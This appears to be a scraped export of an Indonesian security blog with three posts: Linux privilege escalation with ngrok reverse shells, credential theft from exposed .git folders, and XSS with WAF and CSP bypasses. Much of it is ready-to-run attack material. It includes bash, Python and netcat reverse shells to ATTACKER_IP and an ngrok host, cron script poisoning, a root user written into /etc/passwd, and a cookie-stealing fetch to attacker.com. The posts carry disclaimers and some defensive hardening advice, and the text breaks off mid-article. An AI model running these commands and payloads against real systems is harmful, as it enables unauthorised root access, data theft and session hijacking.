escalation dan memberikan output berwarna di mana merah berarti \u0026ldquo;ini sangat mungkin bisa diexploit\u0026rdquo;. Sangat membantu untuk attacker maupun defender.\nLinEnum adalah alternatif yang lebih ringkas:\n./LinEnum.sh -t Teknik Privilege Escalation yang Umum Setelah fase enumeration selesai dan informasi sudah terkumpul, berikut beberapa teknik privilege escalation yang paling sering ditemui di lapangan.\n1. Kernel Exploit Kalau kernel-nya sudah tua dan punya CVE yang diketahui, ini adalah jalur paling langsung. Attacker tinggal cari exploit yang sesuai dengan versi kernel, compile (kalau gcc tersedia), dan jalankan.\n# Cek versi kernel uname -r # Output: 4.15.0-20-generic # Cari exploit yang cocok di ExploitDB atau Google # Download, compile, jalankan Contoh kernel exploit terkenal:\nDirtyCow (CVE-2016-5195) untuk kernel 2.x sampai 4.x DirtyPipe (CVE-2022-0847) untuk kernel 5.8 sampai 5.16 GameOver(lay) (CVE-2023-2640) untuk Ubuntu kernel 2. SUID Abuse Kalau ada binary SUID yang bisa dimanfaatkan, situs GTFOBins adalah referensi lengkap yang menjelaskan cara memanfaatkan setiap binary untuk escalation.\n# Contoh: find dengan SUID find . -exec /bin/bash -p \\; -quit # Contoh: vim dengan SUID vim -c \u0026#39;:!/bin/bash\u0026#39; # Contoh: nmap versi lama dengan SUID nmap --interactive !sh 3. Sudo Misconfiguration sudo -l Kalau output menunjukkan bahwa user bisa menjalankan command tertentu sebagai root tanpa password, itu adalah emas murni. Contoh:\nUser www-data may run the following commands: (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/python3 Dari situ tinggal manfaatkan:\n# Sudo python3 sudo python3 -c \u0026#39;import os; os.system(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Sudo vim sudo vim -c \u0026#39;:!/bin/bash\u0026#39; # Sudo find sudo find / -exec /bin/bash \\; -quit 4. Cron Job Exploitation Kalau ada cron job yang berjalan sebagai root dan file script-nya bisa ditulis oleh user biasa:\n# Cek crontab cat /etc/crontab # Misalnya ada entry: # * * * * * root /opt/scripts/backup.sh # Cek permission ls -la /opt/scripts/backup.sh # -rwxrwxrwx 1 root root ... (writable oleh siapa saja!) # Tambahkan reverse shell ke script echo \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/4444 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt;\u0026gt; /opt/scripts/backup.sh # Tunggu cron jalan, dapat shell root 5. Writable /etc/passwd Di beberapa server yang misconfigured, file /etc/passwd bisa ditulis oleh user biasa. Kalau itu terjadi, tinggal tambahkan user baru dengan UID 0:\n# Generate password hash openssl passwd -1 -salt xyz password123 # Tambahkan ke /etc/passwd echo \u0026#39;hacker:$1$xyz$hash_disini:0:0:root:/root:/bin/bash\u0026#39; \u0026gt;\u0026gt; /etc/passwd # Login sebagai user baru su hacker # Password: password123 # root@server:# Backconnect dengan Ngrok Nah ini bagian yang juga banyak ditanyakan. Apa itu backconnect dan kenapa pakai ngrok?\nMasalah: NAT dan Firewall Dalam banyak skenario, mesin attacker berada di belakang NAT (Network Address Translation). Artinya mesin attacker tidak punya IP publik yang bisa dijangkau langsung dari internet. Ini adalah masalah klasik untuk reverse shell karena server target perlu mengirimkan koneksi balik ke mesin attacker, tapi tidak bisa menjangkaunya karena terhalang NAT.\nIlustrasinya begini:\n[Server Target] ---koneksi balik---\u0026gt; [NAT/Router] ---\u0026gt; [Mesin Attacker] ^ | Koneksi diblok! IP private tidak bisa dijangkau dari luar Solusi: Ngrok sebagai Tunnel Ngrok adalah layanan tunneling yang membuat tunnel dari internet publik ke mesin lokal. Dengan ngrok, mesin yang berada di belakang NAT bisa \u0026ldquo;terexpose\u0026rdquo; ke internet melalui subdomain ngrok.\n[Server Target] ---\u0026gt; [Ngrok Cloud] ---\u0026gt; [Tunnel] ---\u0026gt; [Mesin Attacker] (di belakang NAT) Jadi meskipun mesin attacker tidak punya IP publik, server target bisa mengirimkan koneksi balik melalui alamat yang disediakan ngrok.\nLangkah-Langkah Backconnect dengan Ngrok Step 1: Install dan Setup Ngrok\n# Download ngrok (di mesin attacker) # Bisa dari https://ngrok.com/download # Autentikasi (perlu akun ngrok, gratis) ngrok config add-authtoken TOKEN_DARI_DASHBOARD_NGROK Step 2: Buat TCP Tunnel\n# Buka tunnel TCP di port 4444 ngrok tcp 4444 Output ngrok akan menampilkan sesuatu seperti:\nSession Status online Forwarding tcp://0.tcp.ngrok.io:12345 -\u0026gt; localhost:4444 Catat alamat 0.tcp.ngrok.io dan port 12345. Ini yang akan dipakai di payload reverse shell.\nStep 3: Siapkan Listener\nDi terminal lain (masih di mesin attacker), jalankan netcat sebagai listener:\nnc -lvnp 4444 Listener ini menunggu koneksi masuk di port 4444, yang merupakan port lokal yang sudah di-tunnel oleh ngrok.\nStep 4: Eksekusi Reverse Shell di Server Target\nDi server target, jalankan payload reverse shell yang mengarah ke alamat ngrok (bukan ke IP attacker langsung):\n# Bash reverse shell via ngrok bash -i \u0026gt;\u0026amp; /dev/tcp/0.tcp.ngrok.io/12345 0\u0026gt;\u0026amp;1 Atau kalau pakai Python:\npython3 -c \u0026#39;import socket,subprocess,os;s=socket.socket();s.connect((\u0026#34;0.tcp.ngrok.io\u0026#34;,12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\u0026#34;/bin/bash\u0026#34;,\u0026#34;-i\u0026#34;])\u0026#39; Atau pakai Netcat:\nnc 0.tcp.ngrok.io 12345 -e /bin/bash Step 5: Terima Koneksi\nKalau semua berjalan lancar, di terminal listener (nc -lvnp 4444) akan muncul shell dari server target:\nConnection received! www-data@target-server:/$ Sekarang sudah punya shell di server target, meskipun mesin attacker berada di belakang NAT wkwkwkwkwk.\nAlur Lengkap Backconnect via Ngrok 1. Attacker jalankan: ngrok tcp 4444 -\u0026gt; Dapat alamat: 0.tcp.ngrok.io:12345 2. Attacker jalankan: nc -lvnp 4444 -\u0026gt; Listener siap menerima koneksi 3. Di server target, jalankan reverse shell ke 0.tcp.ngrok.io:12345 -\u0026gt; Koneksi keluar dari server target 4. Koneksi masuk ke ngrok cloud -\u0026gt; Ngrok forward ke localhost:4444 milik attacker 5. Listener nc menerima koneksi -\u0026gt; Shell didapat! 6. Attacker upgrade shell: python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; -\u0026gt; Interactive shell siap digunakan Kenapa Ngrok Populer untuk Backconnect? Gratis untuk penggunaan dasar (cukup untuk satu tunnel TCP) Tidak perlu IP publik karena ngrok yang menyediakan Tidak perlu konfigurasi router atau port forwarding Setup cepat dan bisa langsung dipakai dalam hitungan menit Cross-platform karena tersedia untuk Windows, Linux, dan macOS Alternatif Ngrok Selain ngrok, ada beberapa alternatif lain yang sering dipakai:\nTool Kelebihan Kekurangan Ngrok Mudah, cepat, populer Gratis terbatas 1 tunnel Serveo Gratis, tanpa install Kadang down Localtunnel Open source Kurang stabil Bore Self-hosted, ringan Perlu setup server sendiri Chisel TCP tunnel, open source Perlu binary di kedua sisi Bagaimana Cara Melindungi Server? Setelah paham bagaimana serangan bekerja, sekarang saatnya bahas pertahanan. Karena ilmu security itu dua arah, paham menyerang supaya lebih paham cara bertahan.\n1. Update dan Patch Secara Rutin # Untuk Debian/Ubuntu apt update \u0026amp;\u0026amp; apt upgrade -y # Untuk RHEL/CentOS yum update -y Kernel exploit dan PwnKit hanya bekerja di versi yang belum dipatch. Rajin update adalah pertahanan paling dasar tapi paling efektif.\n2. Audit SUID Binary # Cari semua SUID binary find / -perm -u=s -type f 2\u0026gt;/dev/null # Hapus SUID bit dari binary yang tidak perlu chmod u-s /path/to/unnecessary/binary 3. Konfigurasi Sudo dengan Benar Jangan pernah memberikan NOPASSWD untuk binary yang bisa spawn shell. Selalu gunakan prinsip least privilege.\n4. Hapus Tools yang Tidak Diperlukan # Kalau server tidak perlu gcc apt remove gcc # Kalau server tidak perlu netcat apt remove netcat Server produksi idealnya tidak memiliki compiler atau debugging tools yang terinstall. Semakin sedikit tools yang tersedia, semakin sulit bagi attacker untuk melakukan escalation.\n5. Monitor Koneksi Keluar Reverse shell dan backconnect ngrok bergantung pada koneksi keluar dari server. Firewall yang membatasi outbound connection bisa mencegah teknik ini:\n# Contoh iptables: hanya izinkan koneksi keluar ke port 80 dan 443 iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -A OUTPUT -p tcp -j DROP 6. Gunakan SELinux atau AppArmor Security module seperti SELinux dan AppArmor menambahkan lapisan proteksi tambahan yang membatasi apa yang bisa dilakukan oleh setiap proses, bahkan oleh root sekalipun.\nRingkasan Jadi kalau dirangkum secara sederhana, alur dari \u0026ldquo;masuk server\u0026rdquo; sampai \u0026ldquo;jadi root\u0026rdquo; itu kira-kira begini:\nInitial Access (masuk lewat vulnerability/credential) ↓ Enumeration (cek gcc, python, pkexec, SUID, kernel, sudo) ↓ Privilege Escalation (exploit kernel, SUID abuse, PwnKit, sudo misconfig) ↓ Root Access (uid=0, full control) Dan untuk backconnect:\nAttacker di belakang NAT ↓ Pakai ngrok untuk buat tunnel TCP ↓ Jalankan reverse shell di target mengarah ke alamat ngrok ↓ Koneksi di-forward ke mesin attacker ↓ Shell didapat Semuanya saling terhubung dan membentuk satu rangkaian serangan yang utuh. Pahami prosesnya, dan pertahanan bisa dibangun dengan lebih baik. Karena pada akhirnya, memahami cara kerja serangan adalah langkah pertama untuk bisa mencegahnya.\nDisclaimer\nSeluruh materi dalam artikel ini dibuat murni untuk tujuan edukasi dan keamanan informasi. Teknik yang dijelaskan hanya boleh dipraktikkan pada sistem milik sendiri, lingkungan lab yang sudah disiapkan untuk pengujian, jangan sikat web orang juga wkwkwk.\nJangan pernah menjalankan teknik ini ke sistem yang bukan milik sendiri atau yang tidak memiliki izin eksplisit untuk diuji. Mengeksploitasi sistem tanpa izin adalah tindakan ilegal dan bisa dikenai sanksi hukum.\nravxytech.site hadir untuk berbagi pengetahuan seputar teknologi dan cyber security secara bertanggung jawab.\n","permalink":"https://ravxytech.site/posts/root-server-privilege-escalation/","summary":"\u003cp\u003eBelakangan ini timeline lagi rame banget soal peretasan server yang berujung dapet akses root. Berita di sana-sini, forum underground makin ramai, dan banyak yang penasaran sebenernya gimana sih prosesnya sampai seseorang bisa \u0026ldquo;menguasai\u0026rdquo; sebuah server secara penuh.\u003c/p\u003e\n\u003cp\u003eArtikel ini bakal ngebahas tuntas mulai dari apa itu root, bagaimana proses escalation dari user biasa jadi root, sampai teknik backconnect pakai ngrok buat dapetin shell dari balik NAT. Semua dijelasin dari sudut pandang edukasi, intinya siapin kopi + rokok ae wkwkwk.\u003c/p\u003e","title":"Rooting Server: Cara Hacker Naik Level dari User Biasa ke Admin Penuh"},{"content":"Banyak developer yang tidak sadar bahwa proses deployment mereka meninggalkan sesuatu yang tidak seharusnya ada di server publik: folder .git. Folder ini adalah jantung dari version control Git, berisi riwayat lengkap semua perubahan kode, pesan commit, branch, bahkan file konfigurasi yang mungkin menyimpan hal-hal sensitif seperti kredensial database, API key, atau password admin.\nKalau folder ini bisa diakses siapa saja lewat browser, maka semua isi repositori bisa diunduh dan dipelajari oleh siapapun, termasuk yang tidak punya hak akses sama sekali.\nKenapa Ini Bisa Terjadi Git bekerja dengan menyimpan seluruh riwayat repositori di dalam satu folder bernama .git yang ada di root project. Saat developer melakukan deployment ke server web, kadang mereka langsung menyalin seluruh isi folder project termasuk folder .git itu sendiri ke dalam direktori publik web server.\nHasilnya, folder tersebut bisa diakses lewat URL seperti https://target.com/.git/ dan siapapun bisa membaca isinya. Ini bukan kerentanan pada Git-nya sendiri, melainkan kesalahan konfigurasi pada proses deployment yang membiarkan direktori internal ikut terpublish.\nYang membuat temuan ini lebih dari sekadar \u0026ldquo;bocor source code\u0026rdquo; adalah isi dari commit history dan file konfigurasi yang ada di dalamnya. Developer sering menyimpan kredensial langsung di file konfigurasi, lalu kemudian menggantinya di commit berikutnya. Tapi riwayat commit tetap menyimpan versi lama yang berisi kredensial tersebut, dan semuanya bisa dibaca.\nCara Menemukan Git yang Terekspos Ada beberapa cara untuk menemukan .git yang terbuka, dari yang paling manual sampai yang paling otomatis.\nAkses Manual\nCara paling sederhana adalah langsung membuka /.git/ di browser. Kalau server menampilkan directory listing atau file HEAD dan config bisa dibaca, maka .git tersebut terekspos.\nhttps://target.com/.git/ https://target.com/.git/HEAD https://target.com/.git/config DotGit Browser Extension\nAda ekstensi browser bernama DotGit yang tersedia untuk Firefox dan Chrome. Cara kerjanya sederhana: setiap kali mengunjungi sebuah website, ekstensi ini otomatis mengecek apakah .git di domain tersebut bisa diakses publik. Kalau terdeteksi, akan muncul notifikasi beserta opsi untuk langsung mengunduh repositorinya.\nFuzzing dengan Feroxbuster\nUntuk pendekatan yang lebih sistematis, bisa menggunakan tools seperti feroxbuster yang melakukan brute-force direktori dan file berdasarkan wordlist. Feroxbuster ditulis dalam Rust sehingga cepat dan efisien untuk scanning rekursif.\nferoxbuster -u https://target.com -w /usr/share/wordlists/dirb/common.txt Kalau .git muncul di hasil scan dengan status code 200 atau 403, itu sudah cukup jadi indikasi awal bahwa folder tersebut ada dan perlu diperiksa lebih lanjut.\nMengunduh Repositori dengan Wget Setelah memastikan bahwa .git memang bisa diakses, langkah berikutnya adalah mengunduh seluruh isinya. Perintah wget dengan opsi mirror bekerja dengan baik untuk ini karena secara rekursif mengunduh semua file yang ada di dalam folder tersebut.\nwget --mirror -I .git https://target.com/.git/ Penjelasan singkat dari masing-masing opsi yang dipakai: --mirror membuat wget mengunduh secara rekursif semua konten yang ada, sementara -I .git membatasi path yang diunduh hanya pada direktori .git saja sehingga tidak mengunduh halaman web lainnya.\nwget mengunduh seluruh isi folder .git dari target secara rekursif.\nSetelah proses unduhan selesai, wget akan membuat folder dengan nama domain target di direktori lokal. Masuk ke folder tersebut untuk melanjutkan proses analisis.\nMemulihkan File dari Git Setelah folder .git berhasil diunduh, langkah selanjutnya adalah memulihkan file-file yang tersimpan di dalam repositori tersebut. Pertama, cek dulu status repositori untuk melihat file apa saja yang tercatat.\ncd nama-target.com git status git status menampilkan daftar file yang tercatat di repositori tapi belum ada di direktori lokal.\nBiasanya akan terlihat daftar panjang file dengan status deleted. Artinya file-file tersebut tercatat di repositori Git tapi belum ada di direktori lokal karena yang diunduh hanya folder .git-nya saja, bukan working directory lengkapnya. Untuk memulihkan semua file tersebut, gunakan perintah berikut.\ngit restore . Setelah perintah ini dijalankan, semua file yang tercatat di repositori akan dipulihkan ke direktori lokal.\nSeluruh file berhasil dipulihkan. Beberapa file konfigurasi langsung terlihat menarik untuk diperiksa.\nDari hasil ls -la, struktur lengkap aplikasi sudah bisa dilihat. Ada folder application, assets, libs, file index.php, captcha.php, dan berbagai file lainnya. Untuk aplikasi yang menggunakan framework seperti CodeIgniter, folder application/config/ adalah tempat pertama yang perlu diperiksa karena di sanalah file konfigurasi database biasanya disimpan.\nMembaca File Konfigurasi File konfigurasi adalah tujuan utama dari proses pemulihan ini. Di aplikasi berbasis CodeIgniter misalnya, kredensial database disimpan di application/config/database.php.\nFile konfigurasi database berisi hostname, username, password, dan nama database secara lengkap.\nDari file ini bisa langsung terbaca hostname, username, password, dan nama database yang digunakan aplikasi. Informasi ini sudah cukup untuk mencoba koneksi langsung ke database jika port MySQL terbuka ke publik.\nMembaca Riwayat Commit Selain file konfigurasi yang ada sekarang, Git juga menyimpan seluruh riwayat perubahan. Ini sangat berguna karena developer kadang menyimpan kredensial di commit lama sebelum akhirnya menggantinya. Untuk melihat daftar semua commit yang ada di repositori, gunakan perintah berikut.\ngit log Output dari git log akan menampilkan daftar commit lengkap dengan hash, nama author, tanggal, dan pesan commit. Setiap pesan commit bisa memberikan petunjuk tentang perubahan apa yang dilakukan, misalnya \u0026ldquo;changed database password\u0026rdquo; atau \u0026ldquo;removed hardcoded credentials\u0026rdquo;.\nUntuk membaca detail perubahan di commit tertentu, gunakan hash commit yang didapat dari git log.\ngit show a1b2c3d4e5f6 Perintah ini akan menampilkan diff lengkap dari commit tersebut, termasuk baris-baris yang dihapus (ditandai dengan -) dan baris yang ditambahkan (ditandai dengan +). Dari sini bisa dilihat misalnya password lama yang sudah diganti, atau konfigurasi yang pernah ada di versi sebelumnya.\nAkses ke Database Dengan kredensial yang sudah didapat dari file konfigurasi, langkah selanjutnya adalah mencoba koneksi ke database. Perlu dicatat bahwa file konfigurasi biasanya menggunakan localhost sebagai hostname karena memang diasumsikan diakses dari server itu sendiri.\nNamun di beberapa kasus, ada file lain di repositori seperti Envoy.blade.php (untuk aplikasi Laravel) yang mendefinisikan server eksternal lengkap dengan IP-nya. Dari file seperti ini bisa didapat IP server yang sebenarnya.\nUntuk mencoba koneksi ke database menggunakan kredensial yang ditemukan:\nmysql -h IP_SERVER -u username -p Kalau koneksi berhasil, maka seluruh database target sudah bisa diakses. Dari sini bisa dilihat tabel apa saja yang ada, termasuk tabel user yang mungkin menyimpan akun administrator aplikasi.\nMitigasi Ada dua pendekatan untuk mengatasi masalah ini. Yang pertama dan paling bersih adalah tidak menyertakan folder .git sama sekali saat deployment ke server produksi. Gunakan pipeline CI/CD yang hanya mendeploy file yang diperlukan, bukan seluruh isi repositori.\nYang kedua adalah memblokir akses ke folder .git di level konfigurasi web server. Berikut konfigurasi untuk beberapa web server yang umum digunakan.\nUntuk Apache 2.4, tambahkan di httpd.conf atau file .htaccess:\n\u0026lt;DirectoryMatch \u0026#34;^/.*/\\.git/\u0026#34;\u0026gt; Require all denied \u0026lt;/DirectoryMatch\u0026gt; Untuk Apache 2.2, konfigurasinya sedikit berbeda:\n\u0026lt;DirectoryMatch \u0026#34;^/.*/\\.git/\u0026#34;\u0026gt; Order deny,allow Deny from all \u0026lt;/DirectoryMatch\u0026gt; Untuk Nginx, tambahkan di dalam blok server di nginx.conf:\nlocation ~ /\\.git { deny all; } Untuk Lighttpd, tambahkan modul access di konfigurasi:\nserver.modules += ( \u0026#34;mod_access\u0026#34; ) Selain memblokir akses, penting juga untuk melakukan audit pada repositori itu sendiri. Kalau pernah ada kredensial yang dicommit, meskipun sudah dihapus di commit berikutnya, commit lama tetap menyimpannya. Gunakan tools seperti git-secrets atau trufflehog untuk memindai riwayat commit dan mendeteksi apakah ada data sensitif yang pernah dicommit.\n# Scan repositori dengan trufflehog trufflehog git file://./ Temuan ini mungkin terlihat sederhana, tapi dampaknya bisa sangat serius. Dari satu folder .git yang terbuka, seorang penyerang bisa mendapatkan source code lengkap, riwayat seluruh perubahan, kredensial database, API key, dan berbagai informasi sensitif lainnya tanpa perlu mengeksploitasi satu vulnerability pun. Semua data itu memang sudah ada di sana, dan yang dibutuhkan hanya sebuah URL yang tepat.\nPeringatan\nSeluruh teknik yang dijelaskan dalam artikel ini hanya boleh dipraktikkan pada sistem yang kamu miliki sendiri, lingkungan lab yang sudah disiapkan untuk pengujian, atau dalam program bug bounty dengan scope yang jelas dan izin tertulis dari pemilik sistem. Mengakses sistem orang lain tanpa izin adalah tindakan ilegal dan bisa dikenai sanksi hukum.\nArtikel ini dibuat murni untuk keperluan edukasi keamanan siber di ravxytech.site. Pahami risikonya, lakukan dengan bertanggung jawab.\n","permalink":"https://ravxytech.site/posts/git-exposed-directory-disclosure/","summary":"\u003cp\u003eBanyak developer yang tidak sadar bahwa proses deployment mereka meninggalkan sesuatu yang tidak seharusnya ada di server publik: folder \u003ccode\u003e.git\u003c/code\u003e. Folder ini adalah jantung dari version control Git, berisi riwayat lengkap semua perubahan kode, pesan commit, branch, bahkan file konfigurasi yang mungkin menyimpan hal-hal sensitif seperti kredensial database, API key, atau password admin.\u003c/p\u003e\n\u003cp\u003eKalau folder ini bisa diakses siapa saja lewat browser, maka semua isi repositori bisa diunduh dan dipelajari oleh siapapun, termasuk yang tidak punya hak akses sama sekali.\u003c/p\u003e","title":"Git Exposed: Ketika Folder .git Terbuka untuk Umum"},{"content":"Banyak orang yang pertama kali belajar XSS bisa paham konsepnya dalam hitungan menit, tapi justru bingung kenapa payload mereka tidak pernah benar-benar berhasil di target nyata. Copy-paste \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; ke form input, tidak ada yang terjadi. Coba lagi, tetap tidak ada. Akhirnya menyimpulkan bahwa target \u0026ldquo;tidak vulnerable\u0026rdquo;, padahal belum tentu.\nYang membedakan seseorang yang sekadar menghafal payload dengan yang benar-benar memahami XSS adalah satu hal: mengetahui mengapa sebuah payload bisa dieksekusi browser. Begitu itu dipahami, payload yang diblokir bukan lagi hambatan, melainkan undangan untuk berpikir lebih dalam.\nTiga Hal yang Membuat XSS Bekerja Setiap payload XSS yang berhasil, tidak peduli seberapa obfuscated, seberapa aneh encodingnya, atau seberapa baru tekniknya, selalu bergantung pada tiga hal: tag yang akan di-render browser, event yang terpicu saat sesuatu terjadi pada tag tersebut, dan atribut yang membawa kode JavaScript-nya. Dapatkan ketiganya dengan benar, dan browser akan menjalankan kodenya. Bukan karena keajaiban, tapi memang begitulah cara HTML parser bekerja.\nTag, event, dan atribut adalah tiga komponen yang selalu ada di setiap payload XSS yang berhasil.\nTag Tidak semua tag HTML bisa memicu JavaScript, tapi lebih banyak yang bisa dibandingkan perkiraan kebanyakan orang. Yang paling dikenal adalah \u0026lt;script\u0026gt;, masukkan kode JS di dalamnya, selesai. Masalahnya, setiap WAF dan sanitizer di dunia sudah memblokirnya secara otomatis. Jadi perlu alternatif.\n\u0026lt;img\u0026gt; adalah yang paling banyak terbukti di lapangan. Nilai src=x sengaja dibuat tidak valid sehingga browser mencoba memuat gambar tersebut, gagal, lalu memicu onerror. Di situlah eksekusi terjadi.\n\u0026lt;img src=x onerror=alert(1)\u0026gt; \u0026lt;svg\u0026gt; adalah favorit untuk bypass karena SVG memiliki parser sendiri yang berperilaku berbeda dari HTML parser, lebih toleran dan lebih fleksibel. Slash antara svg dan onload adalah sintaks yang valid dan sering luput dari filter WAF.\n\u0026lt;svg/onload=alert(1)\u0026gt; \u0026lt;details\u0026gt; dengan atribut open adalah trik yang masih sering lolos dari deteksi. Atribut open memaksa elemen langsung terbuka saat halaman dimuat, yang seketika memicu ontoggle tanpa perlu interaksi pengguna sama sekali.\n\u0026lt;details open ontoggle=alert(1)\u0026gt; Tag lain yang layak diketahui antara lain \u0026lt;video\u0026gt;, \u0026lt;input\u0026gt; dengan autofocus, dan \u0026lt;iframe\u0026gt; dengan pseudo-protokol JavaScript:\n\u0026lt;video src=x onerror=alert(1)\u0026gt; \u0026lt;input autofocus onfocus=alert(1)\u0026gt; \u0026lt;iframe src=\u0026#34;javascript:alert(1)\u0026#34;\u0026gt; Event: Pemicu Sebenarnya Tag saja tidak ada artinya. Event adalah yang mengubah HTML yang ter-render menjadi JavaScript yang berjalan. Event adalah atribut on* seperti onerror, onload, onfocus, ontoggle, dan sekitar seratusan lainnya. Pembagian paling penting dari sudut pandang penyerang adalah apakah sebuah event berjalan otomatis tanpa interaksi pengguna, atau membutuhkan interaksi seperti klik atau hover.\nEvent yang auto-trigger adalah yang paling berharga. onerror terpicu ketika resource gagal dimuat. onload terpicu ketika resource berhasil dimuat. onfocus dikombinasikan dengan autofocus membuat browser langsung memfokuskan elemen begitu halaman selesai di-render, sehingga XSS berjalan tanpa pengguna melakukan apapun. ontoggle dikombinasikan dengan open pada \u0026lt;details\u0026gt; bekerja dengan logika yang sama.\n\u0026lt;input autofocus onfocus=alert(1)\u0026gt; \u0026lt;details open ontoggle=alert(1)\u0026gt; Bayangkan stored XSS yang langsung berjalan begitu admin membuka halaman dashboard tanpa mengklik apapun. Itulah dampak nyata dari memilih event yang tepat.\nAtribut yang Membawa JavaScript Selain event handler on*, ada atribut tertentu yang bisa menampung JavaScript secara langsung. Yang paling umum adalah href=\u0026quot;javascript:...\u0026quot; pada tag \u0026lt;a\u0026gt;. Pseudo-protokol javascript: memberitahu browser untuk mengevaluasi apa yang ada setelahnya sebagai kode JS.\n\u0026lt;a href=\u0026#34;javascript:alert(document.cookie)\u0026#34;\u0026gt;Klik di sini\u0026lt;/a\u0026gt; Untuk keperluan bypass, beberapa variasi masih sering lolos dari filter. Pertama dengan case mixing, karena browser tidak peduli huruf besar atau kecil di dalam nilai atribut. Kedua dengan menyisipkan newline yang diencoding di antara protokol dan kode, yang bisa mengelabui filter yang melakukan pencocokan string secara naif.\n\u0026lt;a href=\u0026#34;jAvAsCrIpT:alert(1)\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;javascript://%0aalert(1)\u0026#34;\u0026gt; Menyusun Payload dari Prinsip Dasarnya Memahami ketiga komponen ini berarti payload bisa disusun dari awal, bukan sekadar mengandalkan cheatsheet. Mulai dari yang paling sederhana: jika tag \u0026lt;script\u0026gt; diblokir, ganti tagnya. Jika perlu auto-trigger, tambahkan atribut yang tepat. Jika injeksi terjadi di dalam konteks atribut HTML, keluar dulu dari konteks itu dengan menutup tanda kutip yang ada.\n\u0026lt;!-- Dasar --\u0026gt; \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; \u0026lt;!-- Ganti tag --\u0026gt; \u0026lt;svg/onload=alert(1)\u0026gt; \u0026lt;!-- Auto-trigger --\u0026gt; \u0026lt;input autofocus onfocus=alert(1)\u0026gt; \u0026lt;!-- Keluar dari konteks atribut --\u0026gt; \u0026#34;\u0026gt;\u0026lt;svg/onload=alert(1)\u0026gt;\u0026lt;\u0026#34; \u0026lt;!-- Payload dengan dampak nyata --\u0026gt; \u0026lt;img src=x onerror=fetch(\u0026#39;https://attacker.com?c=\u0026#39;+document.cookie)\u0026gt; WAF mencocokkan pola. Browser memaafkan hampir segalanya. Di situlah celahnya.\nBypass WAF WAF seperti Cloudflare, Akamai, Imperva, dan AWS WAF memblokir berdasarkan pola seperti keyword, regex, dan signature. Tugas penyerang adalah membingungkan pattern matcher sambil tetap membuat browser puas. Browser sangat toleran: ia akan mem-parse tag yang malformed, mengabaikan spasi berlebih, menerima mixed case, dan menangani variasi encoding tanpa keluhan. WAF sering kali tidak setoleran itu.\nKalau spasi antar atribut difilter, gunakan / sebagai penggantinya:\n\u0026lt;details/open/ontoggle=alert(1)\u0026gt; \u0026lt;img/src=x/onerror=alert(1)\u0026gt; Kalau kata \u0026ldquo;alert\u0026rdquo; diblokir, gunakan template literal dengan backtick atau String.fromCharCode untuk menghindarinya sama sekali:\n\u0026lt;svg/onload=alert`1`\u0026gt; \u0026lt;img src=x onerror=alert(String.fromCharCode(88,83,83))\u0026gt; Case mixing bekerja karena browser tidak peduli dengan kapitalisasi di tag dan atribut:\n\u0026lt;ScRiPt\u0026gt;alert(1)\u0026lt;/sCrIpT\u0026gt; \u0026lt;DeTaIlS/OpEn/OnToGgLe=alert(1)\u0026gt; Komentar JS juga bisa disisipkan di dalam event handler untuk memecah pencocokan pola:\n\u0026lt;img src=x onerror=alert/**/(1)\u0026gt; Beberapa ruleset WAF lama juga bisa dikacaukan lewat konteks tanda kutip yang malformed pada atribut:\n\u0026lt;details open id=\u0026#34;\u0026#39;\u0026amp;quot;\u0026#39;\u0026#34; ontoggle=alert(1)\u0026gt; Browser event yang relatif baru juga sering belum masuk ke signature WAF lama:\n\u0026lt;xss oncontentvisibilityautostatechange=alert(1) style=\u0026#34;content-visibility:auto\u0026#34; popover\u0026gt; \u0026lt;input onbeforematch=alert(1) hidden=until-found\u0026gt; Polyglot Payload Polyglot adalah payload yang dirancang untuk bekerja di berbagai konteks injeksi sekaligus: teks HTML, dalam atribut, di dalam blok \u0026lt;script\u0026gt;, \u0026lt;textarea\u0026gt;, \u0026lt;title\u0026gt;, maupun konteks URL. Saat melakukan fuzzing pada injection point yang belum diketahui konteksnya, polyglot adalah yang paling efisien untuk dilempar lebih dulu karena responsnya akan banyak memberitahu tentang apa yang parser lakukan.\njaVasCript:/*--\u0026gt;\u0026lt;/title\u0026gt;\u0026lt;/style\u0026gt;\u0026lt;/textarea\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;svg/onload=alert(1)\u0026gt; Breakdown-nya: jaVasCript: menangani konteks URL/href dengan case mixing. /*--\u0026gt; menutup komentar JS. \u0026lt;/title\u0026gt;\u0026lt;/style\u0026gt;\u0026lt;/textarea\u0026gt;\u0026lt;/script\u0026gt; keluar dari keempat konteks tag tersebut. \u0026lt;svg/onload=alert(1)\u0026gt; adalah payload aktualnya.\nCSP Bypass via JSONP Kalau sebuah target memiliki script-src 'self' *.google.com di Content Security Policy mereka, bukan berarti jalan tertutup sepenuhnya. Google memiliki endpoint JSONP yang me-reflect parameter callback langsung ke dalam respons sebagai JavaScript yang bisa dieksekusi. Karena skrip dimuat dari domain *.google.com, CSP mengizinkannya.\n\u0026lt;script src=\u0026#34;https://accounts.google.com/o/oauth2/revoke?callback=alert(document.domain)\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Untuk mencari JSONP endpoint serupa di domain lain yang masuk whitelist CSP, bisa menggunakan repositori JSONBee.\nDOMPurify DOMPurify adalah library sanitasi HTML yang cukup solid, tapi bukan berarti tidak pernah ada celah. CVE-2025-26791 berkaitan dengan bug regex pada template literal di mode SAFE_FOR_TEMPLATES, yang memungkinkan bypass via kombinasi tag \u0026lt;math\u0026gt; dan \u0026lt;style\u0026gt;. Saat menemukan aplikasi yang menggunakan DOMPurify, selalu periksa versinya terlebih dahulu. Versi di bawah 2.x patut dicurigai.\npostMessage XSS Banyak aplikasi menggunakan window.postMessage() untuk komunikasi antar iframe, widget, dan popup. Ketika sisi penerima langsung memasukkan event.data ke dalam innerHTML tanpa sanitasi dan tanpa memvalidasi event.origin, maka dari halaman penyerang bisa dilakukan hal berikut:\n// Kode di sisi penerima yang vulnerable 